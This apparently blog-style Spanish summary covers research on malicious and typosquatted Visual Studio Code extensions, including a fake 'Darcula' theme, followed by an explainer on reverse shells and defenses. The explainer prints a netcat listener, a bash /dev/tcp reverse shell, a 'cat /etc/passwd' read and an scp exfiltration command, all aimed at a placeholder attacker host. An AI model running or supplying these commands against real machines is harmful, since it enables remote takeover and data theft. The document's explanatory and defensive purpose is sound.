Investigadores israelíes descubrieron extensiones maliciosas en el mercado de Visual Studio Code (VSCode), con millones de instalaciones. Mediante la suplantación de la popular extensión “Dracula Official” con una falsa llamada “Darcula”, lograron obtener información de los usuarios. El estudio reveló 1,283 extensiones con código malicioso, 8,161 que se comunican con IPs codificadas, y 1,452 ejecutando archivos desconocidos. Microsoft ha sido informado, pero muchas extensiones dañinas siguen disponibles. La herramienta “ExtensionTotal” será publicada para ayudar a detectar estas amenazas.
🔍 Un grupo de investigadores israelíes exploró la seguridad del mercado de Visual Studio Code y logró “infectar” a más de 100 organizaciones al incluir código riesgoso en una copia del popular tema ‘Dracula Official’.
📦 La investigación reveló que hay miles de extensiones en el mercado de VSCode con millones de instalaciones.
🛡️ Reportes anteriores han señalado deficiencias en la seguridad de VSCode, incluyendo la suplantación de extensiones y editores, y extensiones que roban tokens de autenticación de desarrolladores.
👨💻 Para su experimento, los investigadores crearon una extensión que simula el nombre del tema ‘Dracula Official’ para aprovecharse de los errores de escritura (‘typosquatting’).
🎨 El tema Dracula es popular entre los desarrolladores por su modo oscuro visualmente atractivo con una paleta de colores de alto contraste, que reduce la fatiga visual durante las largas sesiones de codificación.
🔧 La extensión falsa utilizada en la investigación se llamaba ‘Darcula’, y los investigadores incluso registraron un dominio coincidente en ‘darculatheme.com’, lo que les permitió ser editores verificados en el mercado de VSCode, otorgando credibilidad a la extensión falsa.
🔍 Extensión Darcula contiene código riesgoso
- El código malicioso recolecta información del sistema y la envía a un servidor remoto.
- EDRs no detectan la actividad maliciosa en VSCode debido a su naturaleza de desarrollo.
- La extensión fue instalada erróneamente por objetivos de alto valor, incluyendo una empresa con una capitalización de mercado de $483 mil millones.
🌍 Ubicación de víctimas 24 horas después de la publicación de Darcula
- Se encontraron 1,283 extensiones con código malicioso conocido.
- 8,161 extensiones comunican con direcciones IP codificadas.
- 1,452 extensiones ejecutan ejecutables desconocidos.
- 2,304 extensiones usan repositorios de GitHub de otros editores, indicando que son copias.
🔄 Shell reverso encontrado en una extensión de belleza de código (CWL Beautifer)
- Falta de controles estrictos de Microsoft en el VSCode Marketplace permite abuso.
🛡️ Acciones tomadas y por tomar
- Las extensiones maliciosas fueron reportadas a Microsoft.
- Las medidas de seguridad de Microsoft en el VSCode Marketplace son insuficientes.
- Los investigadores planean publicar su herramienta ‘ExtensionTotal’ la próxima semana para ayudar a los desarrolladores a escanear sus entornos en busca de amenazas.
Una reverse shell es una técnica utilizada por atacantes para obtener acceso remoto a una máquina víctima. Aquí te explico cómo funciona y qué puede hacer un atacante:
Funcionamiento de una Reverse Shell
- Preparación del Atacante:
- El atacante pone en escucha un puerto en su máquina, esperando una conexión entrante.
- Utiliza herramientas como
nc
(Netcat) omsfconsole
de Metasploit para este propósito. - Comando de ejemplo en Netcat:
nc -lvp 4444
.
- Infección de la Víctima:
- La víctima ejecuta un código malicioso que establece una conexión saliente desde su máquina hacia la máquina del atacante.
- Este código puede ser parte de una extensión maliciosa, un script, o un payload en un archivo descargado.
- Establecimiento de la Reverse Shell:
- Una vez que el código se ejecuta en la máquina víctima, se conecta al puerto que el atacante tiene en escucha.
- La máquina del atacante recibe la conexión y otorga acceso remoto a la shell de la víctima.
Acciones del Atacante con una Reverse Shell
Una vez que el atacante tiene acceso mediante una reverse shell, puede realizar diversas acciones maliciosas:
- Ejecutar Comandos:
- Puede ejecutar cualquier comando en la máquina víctima como si estuviera físicamente presente.
- Ejemplos:
ls
,pwd
,cat /etc/passwd
, etc.
- Explorar y Exfiltrar Datos:
- Buscar archivos sensibles y transferirlos al servidor del atacante.
- Comando de ejemplo para transferencia:
scp victim_file.txt attacker@attacker_ip:/path
.
- Escalar Privilegios:
- Intentar obtener privilegios de superusuario (root) usando técnicas de escalamiento de privilegios.
- Instalar Software Malicioso:
- Descargar e instalar malware adicional para persistencia o monitoreo.
- Pivoting:
- Utilizar la máquina comprometida para lanzar ataques a otras máquinas dentro de la misma red.
Ejemplo de Creación y Ejecución de una Reverse Shell:
En la máquina del atacante:
nc -lvp 4444
En la máquina de la víctima (código malicioso):
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Medidas de Defensa
- Monitorización de Red:
- Detectar tráfico inusual saliente hacia IPs sospechosas.
- Actualizaciones y Parches:
- Mantener el software y sistemas actualizados para evitar vulnerabilidades explotables.
- Autenticación y Autorización:
- Utilizar políticas de acceso restrictivas y autenticar todas las conexiones.
- Herramientas de Seguridad:
- Implementar firewalls, IDS/IPS y antivirus para detectar y bloquear actividades maliciosas.
Estas técnicas son esenciales para entender cómo funcionan los ataques de reverse shell y las medidas necesarias para protegerse contra ellos.
🔍 Un grupo de investigadores israelíes descubrió extensiones maliciosas de Visual Studio Code.
👾 Crearon una extensión que se hacía pasar por una versión legítima del popular tema “Drácula”.
🔒 Utilizaron una técnica de “typo squating” para engañar a los usuarios y conseguir la instalación.
📊 Esta extensión infectó a más de 100 organizaciones, incluida una empresa cotizada en bolsa.
🔍 El código malicioso no fue detectado por las herramientas de respuesta y detección de puntos finales.
🛡️ La falta de controles y mecanismos de revisión de código por parte de Microsoft permitió este abuso desenfrenado.
🛠️ Se demostró la posibilidad de ejecutar acciones maliciosas desde una extensión de Visual Studio Code.
🔍 Es importante ser cauteloso al instalar extensiones de terceros y revisar el código en busca de posibles amenazas.